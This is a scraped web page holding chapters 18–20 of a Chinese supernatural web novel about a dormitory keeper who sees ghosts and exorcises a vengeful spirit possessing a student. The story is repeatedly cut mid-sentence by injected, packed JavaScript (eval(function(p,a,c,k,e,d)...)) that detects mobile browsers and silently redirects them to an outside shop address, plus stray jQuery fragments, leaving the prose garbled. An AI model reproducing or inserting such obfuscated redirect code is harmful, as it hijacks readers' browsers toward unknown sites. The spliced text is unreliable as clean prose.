l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599707|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么关系...” 叶如月默默哭着,这些天,她真的太压抑了,太痛苦了。 “你先别哭了,时间不早了,我们先去上课吧,这件事,我会帮你向班里人解释的。”秦柳看了看时间提醒道。 “好。”叶如月擦了擦脸,而后从包里掏出几片药丸就水吞下,见秦柳一脸不解,她忙解释道,“这是心理医生开的药,对不起,前阵子我压力太大,梦游吓到你们了。” 秦柳想起自己背地里说叶如月鬼上身,心里的愧疚感更重了几分。 当即在心里发誓,要和叶如月做回朋友。 她们手挽手出现在教室时,大家正热火朝天不知道聊些什么,秦柳一边放下书包一边问发生了什么,旁边同学告诉她“程锦芙噶了。” “啊?” * 言言找到了,只是刘姐手上多了一个很深的黑色牙印,拾冬猜想是言言咬的。 “这孩子平时很乖,这阵子不知怎么回事..”言言这会已经恢复最开始不说话乖巧的样子,嘴里啊啊着摸着奶奶手上的牙印,像是在道歉,刘姐摸着言言的头低声安慰,“奶奶没事,不疼,宝宝乖。” “刘姐,你去找个人问问吧。” “问什么?” “她。” 拾冬给了刘姐纸扎铺的地址,刘姐果然爱孙心切,下午就带言言去了,拾冬已经提前把情况跟孟永说了,她是有私心的,五年前帮刘姐招魂的人到底是谁,她希望孟永能从刘姐那套出话来。 拾冬坐了一天,起身踱到门□□动活动筋骨,五月天气逐渐热了起来,拾冬仰头看到绿葱葱的树枝,摇曳在午后明晃晃的阳光下,她倚在门边发呆,不远处传来叮铃铃的下课铃声。 “老师,我不跟她同桌,她身上好臭。” “老师,我也不想,奶奶说她不吉利。” “纸钱女纸钱女,纸钱女来了,大家快跑..” 怎么净想些不愉快的事。 拾冬回过神在心里唾弃自己,转身往回走时,耳边猛地炸开一阵刺耳的吉他声,她条件反射捂住耳朵,寻找声音的发源地。 首先入目的是一颗绿油油的头,唱歌人抱着不知哪淘来的劣质吉他正摇头晃脑嚎叫着。 “难听。” 拾冬发表完评论回到办公室接着玩游戏。 听到评价的女鬼停下,朝拾冬离开的方向望了望,回头问满脸愁容的同伴:“她刚是不是在说我?” 全程捂耳朵压根什么都没听到红头女鬼否认,“没有。” “好,那我接着唱,新学的,不错吧。” “呵呵..” 游戏玩了两局,拾冬无趣关了手机,外面的鬼哭狼嚎已经结束,这时,门外传来“戴眼镜的宿管外送”的声音,戴眼镜,应该是自己,刘姐不戴,拾冬疑惑起身,刚出门,一阵花香扑鼻而来,她还没来得及作反应,外送小哥对着单子机械念出一句话,念着念着还唱了起来, “我们好像在哪见过,你记得吗?” 说完风风火火跑走了,留下一脸问号抱着玫瑰花的拾冬和正巧看到这个热闹的同学。 “哇~~~~~” 拾冬望着眼前火红的玫瑰心里涌起一阵恶寒, 到底是谁这么恨自己,出这种损招对付她! 18. 第 18 章 宿管收到99朵玫瑰的事到晚上已经传开了,鉴于宿管拾冬脸色冷的要吃人,小女生们不敢造次,只是路过就往里看一眼,路过就往里看一眼,一晚上拾冬眼睛瞪抽筋了也没阻止她们燃烧的八卦之魂。 同性之间看着看着,便看出门道来了。 “诶,你们没觉得宿管阿姨只是打扮土气,人其实长得挺漂亮的吗?” “我早发现了,上次我去找她问钥匙,她问我哪号寝,那个冷淡的眼神,好杀我。” “顶着那么丑的发型和眼镜都没觉得多难看,颜值很能打。” “有没有可能她根本不是阿姨,是姐姐啊。” “为了躲避富二代的追求不惜扮丑蜗居在这里当个宿管阿姨,可还是被他找到了...” “我去,有点想磕啊啊....有没有小说代餐。” 拾冬麻木坐在宿管办公室听秦柳把女寝群里的对话声情并茂读给她听,在读到和富二代虐恋情深那一段,她终于忍不住了, “闭嘴。” “所以你为什么来我们这做宿管啊?”秦柳趴在桌上大眼眨巴眨巴望着她。 “上班哪有那么多为什么。”拾冬淡淡回答。 “可是为什么来当宿管,又没多少钱。” 拾冬不知如何回答,或许自己根本不需要向秦柳解释,秦柳身上的名牌包和手表,注定她这辈子会活得舒舒坦坦,可以永远待在象牙塔里肆意奔跑。 “哦,对了,我们寝室跟叶如月和好了。”秦柳把今天捋清楚的前因后果跟拾冬又讲了一遍,顺便告知程锦芙死了的消息。 “程锦芙死了?”拾冬立马联想去昨晚见到的黑影。 “嗯,听辅导员说是没抢救过来。” 程锦芙死了,那么她会不会趁机报复来找叶如月?昨晚那个黑影有没有可能就是程锦芙? 如果程锦芙要来报仇,那么她能从赵枫身上拿到多少钱。 拾冬赚钱的心蠢蠢欲动。 “秦柳,你在这啊,我买了门口那家鸡架,你吃吗?”叶如月从外面回寝看到在宿管办公室唠嗑的秦柳,扬了扬手里刚买的鸡架。 “吃啊,刚好我有点饿了。”秦柳说完站起身和叶如月肩并肩上楼了,拾冬看着两人的背影,那晚从叶如月身上看到的黑影已经不见了。 刘姐是在晚上九点多回来的,在此之前孟永已经和她通过电话。 “孩子我见过了,那个孩子是从地府强招回来的。”孟永一边吃面一边解释。 “那他是谁?” “我怎么知道,这种世外高人多的是,你知道那么多干嘛。” “我是在想说不定他给我的钱更多。” 孟永一口气没上来,气得挂断了电话。 难得看到刘姐脸上有笑,手上的黑牙印也没了,一进门便说:“小严,这次真的谢谢你爷爷。” “那不是我爷爷,他是我老板。”毕竟孟永天天跟人说自己是他店员。 “怎么会,刚在纸扎铺问了我很多关于你这几天的表现,看上去很关心你。” 拾冬一脸诚恳地回答:“刘姐,那不是关心,他是在担心我没文化被炒鱿鱼又跑去烦他。” “……” 这孩子,怎么油盐不进呢。 刘姐无奈接着打毛衣。 * 之后几天,日子风平浪静。 310寝室没再出现打架,梦游的糟心事,寝室的学生们从叫拾冬阿姨,变成叫姐姐,拾冬索性放弃挣扎,干脆连碍事的眼镜都不戴了。 和刘姐说开后,她们相处逐渐自然。 刘姐看拾冬手上有伤,包下了整栋楼的卫生,有时还会帮拾冬带饭,言言小鬼没再出现突然跑出去不见的情况,晚上值班睡不着,偶尔陪她玩玩球,拿不到球依旧啊啊乱叫,拾冬看她跳起来都拿不到东西的模样像只吉娃娃。 要说唯一郁闷的,就是不断送来的花,外卖单上的号码被隐藏,问店家,店家怕得罪客户自然不肯告诉,拾冬把花放在一楼的失物招领台,写上喜欢自取,于是基本全寝室楼的人都拿过花。 “今天什么花啊姐妹们。” “白雪山!快冲姐妹,还有二三十朵。” “收到,马上去。” “今天是碎冰蓝啊!!!好美好美!!” “!!!等我吃完这口饭,球球了,给我留一朵。” “姐们,对不起,最后一朵被我拿走鸟~~真的好美!” “今天厄瓜多尔红豆沙,花语相思,这富二代还挺执着啊。” “好浪漫~~~” A栋宿管被富二代追求的事也不知道是谁传的,这几天慕名而来许多其他寝室的学生,拾冬讨厌这种感觉,戴上口罩谁也不理。 周四晚上,刘姐搓着手跟拾冬商量能不能替自己值几天班,后天是她儿子儿媳忌日,她要回去一趟。 拾冬即使周末也无处可去,干脆做个顺手人情答应了,周五晚上,刘姐收拾好东西带着言言走了。 一到周末,楼里冷清不少,才刚过九点,基本就没什么人走动了,就算有,也是本地拉着行李箱回家的,临走前朝她挥手“姐姐拜拜。” 拾冬没吭声,站在门口看她们拉行李箱逐渐走远的背影,长久站立着。 “她看上去好像很孤独,要不我给她唱一首吧。”绿头摸摸下巴若有所思地建议。 “不用!她又听不见。”红头赶紧劝导。 “你不懂,音乐可以穿越一切。”绿头把身后吉他别到胸前准备高歌一曲。 “别别别,有个帅哥来了,走,去吸一口他的阳气。” 郁之连续送了那么多天花都进了别人口袋,他也不打算装神秘了,远远看到拾冬倚在寝室门框发呆,没戴那副土气眼镜的眼睛,少了些那晚的凌厉,眼神清冷,一下勾在他心上。 然而在郁之眼里的清冷姑娘,满脑子想的是前些天叶如月买的那家鸡架是在哪买的,闻着好香,她现在也好想吃。 “我们又见面了。” 拾冬定定看了眼前的人两三秒,不是,他不会觉得这么说很帅吧。 “花你送的?”拾冬这会反应过来,虽然是问句,但心里断定就是他。 郁之刚点头承认,被对方一句“做人不要恩将仇报。”噎得说不出话。 “你如果不喜欢玫瑰,我可以送别的花。” 他怎么回魂了也还是这么莫名其妙。 拾冬不耐烦白了他一眼,“不是我喜欢什么品种的问题,而是你这种莫名其妙的行为带给我很多困扰,你能告诉我你出于什么立场给我送花吗?” 郁之露出拾冬见过很多次,神秘兮兮地模样,拾冬顿感不妙。 “我想拜你为师,你是那次理发店的那个人吧,肯定是,花坛着火那天我也在,我看到了你的眼睛,肯定就是同一个人。” “......”脑子不好使,眼神倒不错,拾冬白眼一翻,又回到被气到头晕的时候。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拾冬转身回了办公室。 “砰砰砰。” “砰砰砰。” “砰砰砰。” 郁之不断在外面敲门,直到拾冬怒气冲冲解开门禁推开大门,在她准备骂人之前飞快说出三个字。 “对不起。” “……” “刚看到她们在群里的对话,没想到会说那么难听,对不起。” “……” 拾冬不知道他在说什么群,也不知道说了什么难听话,但本想开骂,结果一拳打在棉花上的感觉,堵得她不上不下。 “你来就是为了说这个?” 郁之摇头,从口袋里掏出一个盒子,里面是一串佛珠,“上次那件事后我去庙里找了很有名的大师,这个手串送你。” 路灯漏出的光模模糊糊照出两人轮廓,拾冬缓了几秒出声讽刺:“你不会以为我会感动涕零吧,少做这种自我感动的事。” 拾冬正要关门,却被对方扯住手臂,把佛珠强硬戴进手腕。 “很灵。” “我不..”挣扎间,拾冬发现不远处站着一个人。 刚刚秦柳拉着自己不让走时,是叶如月帮忙解围的,而如今,皎洁月色下,郁之身后站着的人,长得和叶如月一模一样。 19. 第 19 章 拾冬看不远处的叶如月朝他们跑来本能往后退,几乎是一个眨眼瞬间,再一看,跑来的是一个陌生女孩。 “姐姐对不起对不起,我公交车坐过站了,对不起,能不能不要记我名字,放我进去。”女生哭唧唧地撒娇,眼神还时不时瞅向旁边的郁之。 “你几号寝什么名字。”拾冬控制紊乱的心跳故作镇定道。 “603,许可,姐姐,放过我这一次吧,求你了。” 拾冬查了查手上还没来得及放下的点名册,许可后面自己标记了个圈。 拾冬眼神落在许可脸上,都是圆脸,难道看错了? “姐姐,放过我这一次吧,求你了。”许可见拾冬那么严肃盯着自己,生怕自己害寝室扣分,要知道这个月她们为了保证寝室不扣分,连那条鬼打墙的小路都走了,四月最后一天,可不能功亏一篑啊! “进去吧,下次注意。”拾冬没看出异常,侧身让她进去的同时,把手串褪下塞回郁之手里,紧接着大门一关,回了宿管办公室。 门外没再响起敲门声,郁之应该回去了。 四周偶尔有出来接热水的脚步声传来,拾冬低头开了一局斗地主,在一个炸都没有情况下抢了地主,结果输光了今天仅有的豆子,手腕似乎还有檀香气,她起身准备去洗个手。 “哎,你说那帅哥是想跟她学什么啊,这么执着。” “不知道,不过帅哥人挺帅的。” “我也觉得,这帅哥人不错,不过她不行,跟刚刚那女鬼一样凶。” “什么女鬼?” “就刚刚进来的那个啊。”绿头说完,一个黑影笼罩在头顶,一抬头看到拾冬站在身后,懵了两三秒后抱头叫了起来“啊啊啊啊啊啊啊啊,她怎么能看到我们?那我前两天偷她花吃她是不是知道啊。” “知道。” “说你坏话呢?” “也听到了。” “那…我唱歌好听吗?” “难听死了。” 绿头腾一下站起来,指着拾冬据理力争,“你根本不懂音乐!” “哦。” 拾冬无视绿头气得快厥过去的脸,又重复一遍,“刚刚有东西进来了?” 为什么她没看到。 “对,就在那小姑娘身上,我猜那鬼怕那手串,所以才没现真身。”红头一边拍着绿头安抚,一边说道。 那刚刚那一眼没看错,是叶如月。 不对,是长得像叶如月。 趁拾冬在发呆,绿头趁火打劫说为了弥补精神损失,要拾冬给她们吃的。 “不可能。”拾冬冷酷拒绝,要她烧供品给孤魂野鬼,做不到。 “一次。”绿头刚还凶狠的表情软化,小心翼翼伸出一根手指。 “没有。”拾冬无视绿头在身后哇哇乱叫。 “好了好了,没用的,谁要你前些天说她那么多坏话,她都听到了。”红头无奈拍了拍绿头的后背。 “狡猾的女人!啊…我好饿哦。”绿头有气无力瘫在地上,她抱着怀里的吉他,倚在红头身边,“怎么没一个人记得我啊?” 红头摸了摸她的头不发一语。 一晚上没睡好,导致拾冬第二天脸色很差,早上八点多看秦柳和叶如月手挽手出门,叶如月看上去没什么变化,至于昨晚进来的那个女鬼是谁,在她没拿到抓鬼佣金前,拾冬根本不想知道。 不做无本买卖是拾冬一贯原则。 拾冬昏昏沉沉了一天,下午趴在桌上补眠时,被秦柳哭哭唧唧吵醒,说她和叶如月绝交了。 “她是不是有病,我们去动物园,人家牌子上明明白白写着不让投喂,她偏要给动物吃的,我说了好几遍不听,她还骂我多管闲事,有病一样…跟程锦芙一样讨厌。” “她现在人呢。” “鬼知道,我打车先回来了,懒得理她。我不管,这寝室我待不下去,我先回家了,等周一我一定要换寝室,再不行,就搬出去住,烦死了,一群神经病。” 秦柳牢骚发完回楼上收拾行李,还发朋友圈阴阳叶如月,结果一天内引来不少共同好友评论。 “我晚上还看到叶如月了啊,她跟几个男的在一起,感觉不像她会做的事。” “这么说来,我下午好像也看到她了,本来想跟她打招呼,结果她理都没理我。” 本以为是个插曲,没想到周天晚上,叶如月被人发到网上了。 起因是一位妈妈带小孩逛商场,孩子闹脾气赖在地上大哭,本来大家都不以为然,直到有个人径直上去往孩子脸上泼了一杯滚烫咖啡,有人拍视频发到了网上,被人认出这是他们学校的学生,叶如月。 “哭有什么用,能解决什么问题,我只不过是教他做人罢了。” “这是我的小孩!他还不到三岁,你有什么资格教我的小孩!我要报警,你别走!” “我没错!我没错!你们放开我,放开我!” 视频里,叶如月歇斯底里地挣扎,但还是寡不敌众被警察带走了。 “她是不是疯了啊?” “我觉得她这样子好吓人,别是精神出问题了吧。” “她本来就有精神病,天天吃一大堆心理方面的药。” “你不觉得她这样子有点像程锦芙吗?叶如月以前不是这样啊.” “不会被鬼附身了吧。” “别大晚上讲恐怖故事...” * 赵枫不知鞠了多少个躬,说了多少对不起,流了多少或真或假的眼泪,对方妈妈才同意了和解,出警局时,夜风吹在还濡湿的脸上,一片湿凉。 母女俩回到车上,赵枫握着方向盘问她为什么要这么做。 “我小时候你不就这么对我吗?” 赵枫没说话,驱车回家。 叶如月跟赵枫回了家,一进门,沙发上赫然坐着个人,叶如月慌忙想往外跑,赵枫死死抵住门,怨恨望着眼前的人咬牙切齿吼道:“从我女儿身体里滚出去!” 从看到那个视频起,赵枫就断定视频里歇斯底里的那个人不是她乖巧听话的女儿,她再也等不了,立马把孟永请到了家里。 “绑上。” 孟永一声令下,赵枫上前架住不断挣扎的叶如月,到底年纪大,还没两下就脱了手,赵枫急忙去抓,眼看着叶如月奔到门口开了门,却被门外的人一脚踹回屋里,她见状急忙从后面捆住,和门外的人一起把叶如月绑到了椅子上。 “放开我,放开我,你们不得好死,你们一个个都不得好死!” 客厅中央摆了一方桌,米用红纸盖着,香炉插着香,鸡血在红烛照射下荡着诡异波纹,孟永对着不断挣扎的叶如月嘴里默默念出口诀: 天有三奇日月星通天透地鬼神惊若有凶神恶煞鬼来临地头凶神恶煞走不停① “出来了。” 赵枫还没反应过来店员说什么出来了,就见店员隔空对着女儿套上绳子,之后用力一扯,刚还在椅子上不停咒骂挣扎的人瞬间安静,头无力垂了下去。 “程锦芙?” 程锦芙周身弥漫着黑气,这些天她吸收了不少来自其他野鬼的怨气,如今被捆在八仙椅上动弹不得,一双血红眼睛望着眼前的人。 “我知道你,昨晚我见过,宿管对吧。”见人没什么反应,她又说,“你不知道吧,刘姐养小鬼,学校到处都是鬼。” “我能看到你,你觉得我看不到别的吗?用不着你来提醒。”拾冬淡定反驳,看来即使变成鬼了,智商也不见高,她不想和鬼说废话,扭头看孟永,他正和赵枫低声说些什么, 马上又有钱入账。 拾冬心情都变好了。 “问问她为什么要用她女儿身子做坏事,她们有什么过节?” “为什么?因为叶如月是我见过最恶心最虚伪的人。” 程锦芙终于逃离了三天两头在家里摔摔打打的父母来到了大学,刚来时候,她怯弱不敢靠近人群,所幸遇到了同寝的叶如月。 叶如月体型虽然和自己一样,但是她长得比自己好看,程锦芙很自卑,叶如月就鼓励自己,说实在说不出口的话,那就写日记,把想说的用文字表达出来。 我有新朋友了。 程锦芙在日记本里这么写到。 军训结束后,得知自己不和她一个寝室,程锦芙失落了好久,原以为她们的关系还可以像以前一样,可叶如月和同寝的人越处越好,渐渐不理自己,别说一起去吃饭,连上课坐一起都不会了。 程锦芙因为胖,晚上睡觉打呼,同寝的人就录下她晚上的打呼声发到班级群,第二天程锦芙看到他们在群里笑话她,还无所谓说“开个玩笑而已啦,别当真。” 程锦芙想起高中,她也是被班里人取笑,被骂是肥猪,抽走凳子看她摔在地上,身上肉跟着颤动的样子每次都惹班里人大笑。 程锦芙撕下日记本开头,用红笔在本子上用力写下每个嘲笑她的名字, 去死吧,都去死吧。 本子被发现后,程锦芙被全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624016|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班人孤立,寝室里的人更是把她当透明人,宁愿看她睡过头,也不叫醒她,导致她考试缺考。 那天她偷偷躲在厕所哭,外面传来叶如月和她舍友的说笑声。 都死吧,我死也要拉个垫背的。 程锦芙血红双眼紧盯着靠在赵枫怀里昏过去的叶如月,像是做了什么令她骄傲的事一样大笑起来,“叶如月一定不知道她抽屉里的蟑螂臭虫都是我放的,她被关在厕所里被人泼水也是我做的,我就是想让她体会一下我的痛苦,凭什么我们都一样胖,班里人都喜欢她讨厌我,我到底做错什么了?胖是我的错吗?打呼我能控制吗?她们取笑我,模仿我就可以,我写个本子就孤立我,凭什么!到底凭什么?!” “我想要叶如月痛苦,最好痛不欲生,我偷看了叶如月的日记本,知道了她和杨晔,反正我早就不想活了,吵架那天我是故意看准他爸公交车往上撞的,哦,对了,他爸是公交车司机这事还是从她日记本里看到的。我要让他们永远有阴影,谁都别想有好日子过!” 可造成这一切又不是叶如月。 拾冬盯着面目狰狞的程锦芙。 这世上也许真没几个人是真心盼着你好,他们假装善意微笑的面具后面是腥臭腐烂的狰狞面孔,一不留神就能一口咬住你。 程锦芙身上黑影越来越多,拾冬意识到程锦芙因为怨气太重要变成恶鬼了,孟永还没来得及念诀,周身一阵凉气,阴差来了。 拾冬不愿和阴差打交道,退到一边,叶如月已经醒了,仰头问赵枫自己怎么在这里,她约好了和朋友去动物园的。 “没事,下次去。”赵枫怜爱摸了摸女儿的头。 拾冬看着一无所知的叶如月,突然想起什么来,急忙问已被勾魂索勾住要走的程锦芙,问之前附在叶如月身上的黑影是不是她。 没等程锦芙回答,戴贝雷帽的阴差凉凉瞥了一眼拾冬,“要不一起走?” 拾冬在心里咒骂,活该你色盲,戴绿帽子。 程锦芙很快消失在客厅。 “宿管姐姐你怎么在这?还有这些是什么?妈,你又在家搞封建迷信!” “不搞了不搞了,再也不搞了,妈错了妈错了。” 赵枫虽然被女儿斥责,但脸上满是笑。 叶如月和赵枫站在门口目送拾冬等人进了电梯,她潦草打发走赵枫径直走回自己房间,抽屉里的备用手机有好多条未读信息。 她看了看信息一边用纸巾擦了擦脸上的汗液一边手指飞快打字。 “那我们说好一起考研哦学长,爱你~” 她回完之后,从抽屉里拿出了一本半新的日记本翻了翻,把其中几页撕碎后,把本子连同用过的纸巾扔进了垃圾桶,东西“咚”的一声,好像是什么真相永久沉了下去。 拾冬和孟永离开了赵枫家,拾冬想起程锦芙消失前那个困惑表情,难道她不知道吗? 如果不是她,那会是谁? “发什么呆?最近在学校过的怎样?” “还行。”拾冬懒懒散散回应,低头瞥孟永口袋,刚刚赵枫给的那个红包,看上去挺厚,“钱记得转我。” “死丫头,掉钱眼了啊!” “这么多天不见亏老子还给你带了栗子糕。” “哟,有心了啊。”拾冬伸手要拿。 “不给了,给狗吃都不给你,没良心的白眼狼。” “汪汪汪。” 孟永啐一口把纸包着的东西塞进拾冬掌心,没好气笑了。 一老一少走在繁华街道,影子拖了很长。 * 夜深了,查完寝的护士小李终于能喘口气,新进来505床的老头真的巨烦,她怀念之前那个不会说话的505。 可很快她不自然晃了晃头,随手点进一个少女泼小孩咖啡的热门视频,视频里的人让她脊背一直。 这个人… 小李不禁想起505床去世的前一天晚上,那晚也是她值班,快十二点这个人突然来了,说是来看朋友,医院虽然没有严格要求探病时间,但是这么晚过来探病还是头一遭,更何况大晚上,但小李当时忙着追剧,随口叮嘱要她小点声,之后连她什么时候走的都没发现。 第二天505突然死了,明明前一晚她生命体征一切正常,小李得知这个消息,后背一阵发凉,她没敢说前一天晚上有个奇怪少女来探病的事。 这件事,她永远不会说出去。 “不是我做的!” 视频里,少女尖叫着。 20. 第 20 章 这事过去没两天,有人传了一个视频,是抓程锦芙那晚,由于他们没拉窗帘,被对面邻居拍下挂到网上了,虽然打了马赛克,但被解了码,有同学认出了里面的叶如月,发到群里,传得沸沸扬扬。 “不是,她真被鬼上身了啊..可怕..” “我去,我就说五一那几天她奇奇怪怪的,原来是这样。” “有点子吓人,又有点子同情她,听说这很伤元气吧。” …… 叶如月在家休息了一周,也许是出于同情,或者是这一段时间,经历了程锦芙的事,班里人都有些疲倦。 总之,秦柳没再提换寝室,时不时能看到她们一起上下课,拾冬得到了丰厚酬劳,开心数起了自己的小金库,刘姐照旧打着给言言的毛衣,绿头红头时不时半夜开趴扰民,被拾冬一张符纸镇的几天不敢动弹。 视频不仅拍到了叶如月,还拍到拾冬,大家看到拾冬隔空抓鬼的那一招,中二之魂熊熊燃烧,把宿管办公室堵的水泄不通,硬是要她帮忙驱邪。 拾冬看到了商机,在宿管门口支了个小摊,每天中午开诊,咨询一次二十,每次十分钟,如需驱邪,价格另算。 消息一传开,这群中二少年络绎不绝前来“问诊”。 “姐,我最近脖子老疼,你帮我是不是有东西骑在我头上,鬼影里那样的。我发誓,我没做伤天害理的事啊。” 来人一米九五,是校篮球队前锋,马上要打比赛了,他可不能出岔子。 拾冬凉凉一瞥,把人当大马骑的言言乖乖爬下来,不情不愿跺脚小小身子背过去,啊了一声。 “现在好点了吗?” 中锋犹豫转了转脖子,好像有点用,又左右转了转,从未有的轻松直达天灵盖,他激动上前捧起拾冬的手:“姐,你是我唯一的姐。” 拾冬嫌弃抽出手,指了指桌上二维码,“打钱,250。” 中锋心甘情愿付了钱,喜滋滋奔向球场。 排队人看到前一秒还抬不起头的中锋后一秒头像甩面似的灵活,对拾冬的驱邪技术更加深信不疑,称呼都尊敬起来。 “大师,帮我看看..” “先帮我看,先帮我看..” “我马上要去上课了,大师,先看我,我出钱加塞。” …… 人一多事情也就跟着多,学校的确有些小鬼作怪,拾冬不想自己动手,便抓了两个非主流壮丁。 “我不干,我就是死,从这跳下去,也不当你的走狗,我们鬼也是有骨气的!” “对!俺也一样。” “烧供品。” “受小弟一拜。” “……” 总之,拾冬这副业算是成了。 每天听着钱入账的声音,拾冬觉得这日子真是太惬意了,除了个别不识好歹的男的。 郁之还在孜孜不倦地想要拜师,但在不明真相人的眼里,就传成郁之在追A栋寝室宿管。 也许是设定新鲜,拾冬只要出宿舍楼,大家就纷纷给郁之传递情报,以致拾冬只要出寝室楼就能在不同地方看到他。 “今天食堂鱼不错,给你打包了。” “谢谢刘姐。” 拾冬解开塑料袋,她现在能不去食堂就不去,免得碰到莫名其妙的人。 “刚在食堂碰到那小伙子了。”刘姐难得八卦,“那小伙子长得高高帅帅,挺好的。” “哦。” “处处看也不错。” “没兴趣。”拾冬埋头吃饭,这糖醋鱼做的有点甜了。 “好吧好吧,跟不上你们年轻人的思想了。”刘姐低头冲言言小声调侃,“姐姐要打光棍咯。” “啊..啊..”言言拍着小手,笑得幸灾乐祸。 决定了,今晚捏碎她的小弹簧球。 拾冬在心里记仇。 晚上不摆摊,拾冬吃过饭在宿舍楼外散步,绿头和红头坐在花坛边肆无忌惮看情侣腻歪,顺便还点评一波, “那男的有点丑。” “这男的也一般。” “那男的上个星期还在追另一个,这么快就换人了。” “哎,她们都长得不错,为什么找男人的眼光这么差。” “都是奶奶挑排骨,找了最烂的。” “那个帅哥又来找老大了,还是老大眼光好,找了个最帅的。”自从有了香火吃,绿头对拾冬格外敬重,“走,听听去。” 拾冬看到不远处鬼鬼祟祟飘来两颗红绿头,冲她们瞪了一眼,红绿头马上犯怂原路飘了回去。 “你先别走。”郁之见拾冬往宿舍楼走,眼疾手快拦住,“我这次有事找你。” “OK,你说,什么事。”拾冬也不想当着那么多双八卦眼睛跟他拉拉扯扯,给人制造谈资,干脆心平气和站着看他能扯出什么花来。 郁之往周围谨慎看了几眼,才压低声音说:“我好像被脏东西缠上了。” “什么意思?” 郁之这些天总做梦,梦见一群人吹吹打打,抬大红花轿,到了一宅子,媒人扶新娘下轿,却迟迟不见新郎官来迎,郁之置身人堆里,突然被推了出去。 “哟,好俊的新郎官,姑娘你看,这个成吗?” “成。” “然后我就醒了,我肯定是遇到脏东西了。”郁之看上去神情颓靡,这些天他天天做这个梦,醒来之后浑身乏力,梦里场景带给他的感觉太真实,他肯定自己是被什么东西缠上了。 配冥婚? “所以你找我帮你?”拾冬猜出郁之意思,见郁之点头,她直白道,“我出场费很贵。” “多少?” 拾冬比了一个数字,郁之毫不犹豫点头同意了。 见郁之答应得这么爽快,拾冬在心里懊恼,知道就多要点了。 “不过我有一个条件。” “什么。” “为了保证我的安全,我回家的时候你也得跟我回家。”见拾冬垮脸要走,郁之快速俯身在她耳边说了一个比刚刚价格还高的数,“乙方一切听从甲方。” 可以! 虽然反感郁之,但是谁会跟钱过不去呢。 “今晚我们回去看一下。” 收到一笔巨额定金的拾冬盯着手机屏幕眼睛都亮了,郁之见她这财迷样,发现找到拜师的捷径了。 晚上查完寝,拾冬跟刘姐说有事,便独自出了学校。为了避免引起不必要的麻烦,他们约好在离学校的第一个路口碰面。拾冬刚过红绿灯,便看到郁之打着双闪等在车里。 去他家的路上,两人交换了一些基本信息。 郁之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635927|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,即将毕业的男大学生,父母长居国外,属于不用愁下半辈子的富二代。 “为什么叫拾冬?很特别,是什么文学典故吗?” “在冬天被捡到的,所以叫拾冬。”拾冬满不在意解释,在察觉到郁之愧疚的表情后赶紧制止,“打住,不吃救赎文学这一套,别给自己加戏。” 拾冬看到郁之肃然起敬的眼神,别开了头。 两人有一搭没一搭闲聊到家。 拾冬常觉得城市有结界,有挤在狭窄城中村艰难求生的人,也有悠闲晃着车钥匙步入高端中式庭院的男大学生。 拾冬看他在大门口按指纹,随即抵在门边示意自己先进。门槛有些高,拾冬扶住门框,手心传来略带冰冷的树木年轮纹理。 厚重的木门在身后发出沉重咚的一声。 郁之接着在前带路。 从外面看二层高的白砖黛瓦中式小楼,走进来才发现别有洞天。 前院布局错落有致,耳边传来不知名的细微虫鸣,一盏盏中式草坪灯形同虚设,依稀辨得清几棵枝繁叶茂大树的轮廓,经过时,有水滴下,落在头皮,拾冬忍下心里的异样跟着他往前。 她相信郁之临走前说他家很大了,是真的很大。 开了客厅的灯,拾冬心里的异样感才稍稍退却,虽然依旧是中式风格,但起码总体来说还算现代主义。 “我妈是园林设计师,所以装修偏中式一些。”见拾冬一脸不理解的表情,郁之主动解释。 拾冬收回探究目光淡淡点了个头,猜想这房子肯定找风水师镇过宅,从内透着净,一点邪祟之气都没有。 她都开始怀疑郁之说家里有脏东西这话的真实性了。 “现在需要干什么吗?”郁之看她到处张望,主动问道。 拾冬看了一圈也没发现什么异常,昨晚被言言她们吵得没睡好,于是脱口而出:“睡觉。” “啊?”郁之先是一惊,而后脸上泛起不好意思,说,“现在吗?会不会有点太快了?” 拾冬无语看着他,“你要不要听听自己在说什么。” “好吧,我带你上楼。”郁之领着她看了几个空房间,漫不经心地说:“你喜欢哪间就住哪间吧。” 拾冬毫不扭捏选了二楼朝南有整面落地窗带大露台的独卫卧室,见郁之站着没想走的样子,“怎么了?” “就..这样吗?”郁之挠了挠头,“你不用保护我吗?” “你想怎么保护?” “就睡一屋啥的,然后鬼来了你拿把桃木剑哗哗哗…” “…” 毕竟收人钱财,替人消灾,她从包里取出符纸给他画了张符,郁之双手虔诚接过,举过头顶说了句“谢谢大师。” 拾冬看着他小心翼翼举着符纸出门的模样没忍住笑了。 傻狗哈士奇。 